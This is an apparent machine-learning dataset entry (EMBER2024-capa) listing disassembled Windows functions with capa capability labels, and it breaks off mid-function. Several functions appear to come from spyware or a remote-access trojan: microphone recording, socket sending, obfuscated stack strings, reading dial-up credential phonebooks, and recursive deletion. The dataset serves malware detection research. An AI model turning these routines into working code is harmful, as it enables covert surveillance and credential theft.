joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4062d0
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
test eax, eax
jne 0x40631a
push eax
push 0x10
push eax
push eax
mov edx, 0x4f0
xor ecx, ecx
call fcn.004044d8
call fcn.0040633c
mov dword [0x409124], eax
xor eax, eax
jmp 0x406329
push 2
pop edx
push edx
lea ecx, [ebp - 0x108]
call fcn.00405a1f
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406e20
mov esp, ebp
pop ebp
ret

Function at 0x406354
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], ecx
push esi
push 0x4013b4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], esi
xor ebx, ebx
push 0x14
push eax
inc ebx
call fcn.004016e6
jmp 0x4063f7
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
test edi, edi
je 0x40641b
lea edx, [edi + 8]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4063a4
sub ecx, esi
mov esi, esp
lea eax, [ecx + 1]
mov ecx, dword [ebp - 0x1c]
add eax, edx
push eax
push edx
push dword [edi + 4]
push dword [edi]
call dword [0x40a28c]
call dword [ebp - 0x1c]
cmp esi, esp
je 0x4063d2
mov ecx, 4
int 0x29
push edi
test eax, eax
je 0x406411
call dword [sym.imp.KERNEL32.DLL_FreeResource]
mov esi, dword [ebp - 0x20]
lea eax, [ebp - 0x18]
inc esi
push esi
push 0x4013b4
push 0x14
push eax
mov dword [ebp - 0x20], esi
call fcn.004016e6
xor esi, esi
add esp, 0x10
lea eax, [ebp - 0x18]
push 0xa
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
test eax, eax
jne 0x406387
jmp 0x406427
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_FreeResource]
jmp 0x406427
mov dword [0x409124], 0x80070714
mov ebx, esi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406e20
mov esp, ebp
pop ebp
ret

Function at 0x40655a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push ecx
push 0x4091e4
push ecx
mov edx, 0x104
lea ecx, [ebp - 0x108]
call fcn.0040174e
mov edi, 0x4011b8
lea ecx, [ebp - 0x108]
push edi
mov edx, 0x104
call fcn.00406659
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4065c6
test al, 0x10
jne 0x4065c6
push 8
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
jmp 0x4065cd
push edi
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00406e20
mov esp, ebp
pop ebp
ret

Function at 0x406790
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4067a1
xor eax, eax
ret
shr eax, 4
not eax
and eax, 1
ret
Function at 0x40691e
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [0x4081d8]
xor esi, esi
mov dword [ebp - 0xb0], 0xc
mov dword [ebp - 0xac], esi
cmp edi, 0xfffffffe
jne 0x406a46
lea eax, [ebp - 0xa4]
mov dword [0x4081d8], esi
push eax
mov dword [ebp - 0xa4], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
je 0x406a40
xor edi, edi
inc edi
cmp dword [ebp - 0x94], edi
jne 0x406a40
cmp dword [ebp - 0xa0], 4
jne 0x406a40
cmp dword [ebp - 0x9c], 0xa
jae 0x406a40
push 0x4a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x406a40
lea eax, [ebp - 0xa8]
push eax
push 0x20019
push esi
push 0x4013c0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406a40
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xb4]
push eax
push esi
push 0x401120
push dword [ebp - 0xa8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0xa8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x406a12
mov eax, dword [0x4081d8]
jmp 0x406a48
lea edx, [ebp - 0xac]
lea ecx, [ebp - 0x10]
call fcn.004067e5
test eax, eax
je 0x406a40
mov eax, dword [ebp - 0xac]
and eax, 0x3ff
cmp eax, edi
je 0x406a38
cmp eax, 0xd
jne 0x406a40
mov dword [0x4081d8], edi
jmp 0x406a46
mov edi, dword [0x4081d8]
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00406e20
mov esp, ebp
pop ebp
ret

Function at 0x406a5d
Capabilities:
Get disk size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
cmp byte [ecx], 0
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
je 0x406aac
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceA]
test eax, eax
je 0x406aac
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 8]
push 0x400
push dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_MulDiv]
mov esi, eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406bd0
Capabilities:
Terminate process

Disassembly:
call fcn.004072d8
jmp 0x406bdf
push 0x5c
push 0x4074b8
call fcn.004073a4
and dword [ebp - 0x24], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
xor ebx, ebx
inc ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov edi, dword [eax + 4]
xor esi, esi
mov edx, 0x4088ac
mov ecx, edi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x406c2c
cmp eax, edi
jne 0x406c3e
mov esi, ebx
cmp dword [0x4088b0], ebx
jne 0x406c4b
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x406c7a
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x406c15
cmp dword [0x4088b0], 0
jne 0x406c74
mov dword [0x4088b0], ebx
push 0x4010a0
push 0x401094
call fcn.00406dca
pop ecx
pop ecx
test eax, eax
je 0x406c7a
jmp 0x406db3
mov dword [0x4081e4], ebx
cmp dword [0x4088b0], ebx
jne 0x406c9d
push 0x401090
push 0x401088
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x4088b0], 2
test esi, esi
jne 0x406caa
xor eax, eax
mov ecx, 0x4088ac
xchg dword [ecx], eax
cmp dword [0x4088b4], 0
je 0x406cd8
push 0x4088b4
call fcn.004071d0
pop ecx
test eax, eax
je 0x406cd8
push 0
push 2
push 0
mov esi, dword [0x4088b4]
mov ecx, esi
call dword [0x40a28c]
call esi
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov edi, dword [ebp - 0x24]
mov cl, byte [esi]
cmp cl, 0x20
ja 0x406d36
test cl, cl
je 0x406cf4
test edi, edi
jne 0x406d36
mov al, byte [esi]
test al, al
je 0x406d04
cmp al, 0x20
ja 0x406d04
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406cf4
test byte [ebp - 0x40], 1
je 0x406d10
movzx eax, word [ebp - 0x3c]
jmp 0x406d13
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x4081e0], eax
cmp dword [0x4081f8], 0
jne 0x406d8f
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cl, 0x22
jne 0x406d47
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x24], edi
movzx eax, cl
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x406d5a
inc esi
mov dword [ebp - 0x20], esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406ce5
cmp dword [0x4081e4], 0
jne 0x406da3
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x4081e0]
mov dword [ebp - 4], 0xfffffffe
jmp 0x406dbf
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.004073ec
ret

Function at 0x4070af
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4074e0
call fcn.00407438
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x40710f
cmp eax, 0xffffffff
je 0x40710f
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x407108
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x407108
cmp edx, 0x10000000
jae 0x407108
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x407105
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.0040747d
ret 4
Function at 0x401300
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
nop
nop
nop
nop
nop
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
je 0x40136d
xor edi, edi
push str.CreateThread
push str.KERNEL32.dll
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 4]
push ecx
push 4
push esi
push 0x401499
push edi
push edi
call eax
push 0x20000
push edi
push dword [ebp - 4]
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x46]
lea ebx, [esi + 0x18]
push eax
push 0xffff
push ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
nop
nop
nop
nop
nop
cmp eax, edi
je 0x401371
xor al, al
jmp 0x4013e5
lea edi, [esi + 0x30]
mov dword [ebp - 8], 2
mov eax, dword [edi]
mov ecx, dword [edi - 0x28]
push 0x20
mov dword [eax], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 4]
mov dword [eax + 4], ecx
mov eax, dword [edi]
and dword [eax + 0x10], 0
mov eax, dword [edi]
and dword [eax + 0x14], 0
push dword [edi]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add edi, 4
dec dword [ebp - 8]
jne 0x40137b
mov eax, dword [esi + 0x1c]
push 0x20
push dword [esi + eax*4 + 0x30]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
push str.ResumeThread
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esi + 0x2c]
call eax
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInStart]
mov byte [esi + 0x44], 1
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402f7d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
cmp eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.WS2_32.dll_send]
mov ebx, ecx
mov dword [ebp + 8], eax
jb 0x402fdd
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x10]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x402fbe
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x402fa3
cmp dword [ebp - 8], 0xf
je 0x403013
add dword [ebp - 4], eax
add esi, dword [ebp + 0x10]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 8], eax
cmp dword [ebp + 8], eax
jae 0x402f9f
cmp dword [ebp + 8], 0
jle 0x40300b
and dword [ebp + 0x10], 0
push 0
push dword [ebp + 8]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x403002
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x402fe7
cmp dword [ebp + 0x10], 0xf
je 0x403013
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x403016
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4030bb
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jne 0x4030cb
xor eax, eax
leave
ret
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x403115
and dword [ebp - 0x14], 0
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
push dword [ebp + 8]
stosd dword es:[edi], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 8]
push 4
push dword [eax]
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0x18
pop edi
leave
ret

Function at 0x403117
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp word [ebp + 8], 0
jne 0x403154
cmp word [ebp + 0xc], 0
jne 0x403154
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, eax
movzx eax, word [ebp - 4]
add esi, eax
movzx eax, word [ebp - 6]
add eax, esi
jmp 0x403187
movzx esi, word [ebp + 8]
push edi
call dword [sym.imp.MSVCRT.dll_rand]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movzx ecx, word [ebp + 0xc]
add edi, eax
sub ecx, esi
movzx eax, word [ebp - 4]
add edi, eax
xor edx, edx
movzx eax, word [ebp - 6]
add edi, eax
inc ecx
mov eax, edi
pop edi
div ecx
mov eax, edx
add eax, esi
pop esi
leave
ret
Function at 0x4042c1
Capabilities:
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x18]
push edi
push eax
mov ebx, ecx
push str.SHELL32.dll
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x47
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x50
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x74
mov byte [ebp - 3], 0x68
mov byte [ebp - 2], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x134]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
nop
nop
nop
nop
nop
push str.Documents_and_Settings_
lea eax, [ebp - 0x134]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x134]
pop ecx
push dword [ebx + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push eax
call ebx
lea eax, [ebp - 0x134]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call ebx
push 0
lea eax, [ebp - 0x23c]
push 0x23
push eax
push 0
call dword [ebp - 0x1c]
nop
nop
nop
nop
nop
push str.wsprintfA
push str.USER32.dll
call esi
push eax
call edi
lea ecx, [ebp - 0x23c]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
push str._s_s
lea ecx, [ebp - 0x23c]
push ecx
call eax
lea eax, [ebp - 0x134]
mov esi, 0x1000
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x23c]
push esi
mov dword [ebp - 0x28], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x1c], 2
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [edi]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
nop
nop
nop
nop
nop
cmp byte [ebx], 0
mov dword [ebp - 0x24], ebx
je 0x404450
push dword [ebp - 0x24]
inc dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x24]
cmp byte [ecx + eax + 1], 0
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x24], eax
jne 0x404433
add edi, 4
dec dword [ebp - 0x1c]
jne 0x404410
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 0x20]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40515f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov edi, str.ADVAPI32.dll
push str.RegOpenKeyExA
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.RegCloseKey
push edi
mov dword [ebp - 0x20], eax
call esi
push eax
call ebx
mov dword [ebp - 0x1c], eax
nop
nop
nop
nop
nop
mov esi, 0x104
xor ebx, ebx
push esi
lea eax, [ebp - 0x178]
push ebx
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
nop
nop
nop
nop
nop
cmp eax, ebx
je 0x405254
nop
nop
nop
nop
nop
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push ebx
push eax
push connect
call dword [ebp - 0x20]
test eax, eax
jne 0x405254
lea eax, [ebp - 8]
mov edi, dword [0x41ffa8]
push eax
lea eax, [ebp - 0x178]
push eax
push ebx
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call dword [ebp - 0x1c]
push 0x1f4
lea eax, [ebp - 0x36c]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x36c]
push str._s_shellopencommand
push eax
call dword [0x42034c]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x36c]
push ebx
push eax
push connect
call dword [ebp - 0x20]
test eax, eax
je 0x40525b
xor al, al
jmp 0x40535a
push esi
lea eax, [ebp - 0x178]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
lea eax, [ebp - 0x178]
push eax
push ebx
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call dword [ebp - 0x1c]
nop
nop
nop
nop
nop
lea eax, [ebp - 0x178]
push 0x41d438
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
jne 0x4052c5
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x178]
push 0x41d434
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x178]
push eax
call esi
jmp 0x4052d0
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x70]
mov byte [ebp - 0x18], 0x57
rep stosd dword es:[edi], eax
mov dword [ebp - 0x74], 0x44
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x53
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x30
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x66
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], bl
je 0x40532b
lea eax, [ebp - 0x18]
mov dword [ebp - 0x6c], eax
push str.CreateProcessA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x74]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x178]
push ebx
push ecx
push ebx
call eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405361
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x784
push ebx
push esi
push edi
push str.GetLogicalDriveStringsA
mov dword [ebp - 0x20], ecx
push str.KERNEL32.dll
mov byte [ebp - 0x784], 0x67
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x224]
push ecx
push 0x100
call eax
xor ebx, ebx
push 1
cmp byte [ebp - 0x224], bl
lea edi, [ebp - 0x224]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
pop esi
je 0x405515
jmp 0x4053c9
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x124]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea eax, [ebp - 0x384]
push 0x160
push eax
push 0x80
push edi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x124]
push eax
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 0x1c], eax
nop
nop
nop
nop
nop
nop
nop
nop
mov al, byte [edi]
cmp al, 0x41
je 0x40547f
cmp al, 0x42
je 0x40547f
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x40547f
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
push 0x14
pop ecx
call fcn.00417e20
mov edx, dword [ebp - 0x14]
push 0x14
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
pop ecx
call fcn.00417e20
mov dword [ebp - 8], eax
jmp 0x405487
and dword [ebp - 4], 0
and dword [ebp - 8], 0
mov al, byte [edi]
push edi
mov byte [ebp + esi - 0x784], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + esi - 0x783], al
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp + esi - 0x782]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp + esi - 0x77e]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x274]
push ebx
push eax
lea eax, [ebp + esi - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0x1c]
lea eax, [ebp - 0x124]
push eax
lea eax, [ebx + esi]
lea eax, [ebp + eax - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0x1c]
add esp, 0x30
add eax, ebx
push edi
lea esi, [esi + eax + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [edi + eax + 1], 0
lea edi, [edi + eax + 1]
jne 0x4053c7
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x784]
push esi
push eax
call fcn.0040b4b2
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405741
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.FindNextFileA
mov dword [ebp - 0x14], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push dword [ebp + 8]
and byte [ebp - 2], 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x25c]
push eax
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0x2a
mov byte [ebp - 4], 0x2e
mov byte [ebp - 3], 0x2a
call dword [0x42034c]
add esp, 0xc
push str.FindFirstFileA
push ebx
call esi
push eax
call edi
lea ecx, [ebp - 0x158]
push ecx
lea ecx, [ebp - 0x25c]
push ecx
call eax
mov dword [ebp - 0xc], eax
nop
nop
nop
nop
nop
cmp eax, 0xffffffff
jne 0x4057d1
xor al, al
jmp 0x405874
push str.DeleteFileA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0x12c], 0x2e
je 0x405840
nop
nop
nop
nop
nop
test byte [ebp - 0x158], 0x10
lea eax, [ebp - 0x12c]
push eax
push dword [ebp + 8]
push str._s_s
je 0x405826
lea eax, [ebp - 0x464]
push eax
call dword [0x42034c]
mov ecx, dword [ebp - 0x14]
add esp, 0x10
lea eax, [ebp - 0x464]
push eax
call fcn.00405741
jmp 0x405840
lea eax, [ebp - 0x360]
push eax
call dword [0x42034c]
add esp, 0x10
lea eax, [ebp - 0x360]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 0x158]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x10]
test eax, eax
jne 0x4057df
push str.FindClose
push ebx
call esi
push eax
call edi
push dword [ebp - 0xc]
call eax
nop
nop
nop
nop
nop
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x405f16
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push str.SetFilePointer
push str.KERNEL32.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 4]
push 0
push ecx
push dword [ebp + 8]
push ebx
call eax
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
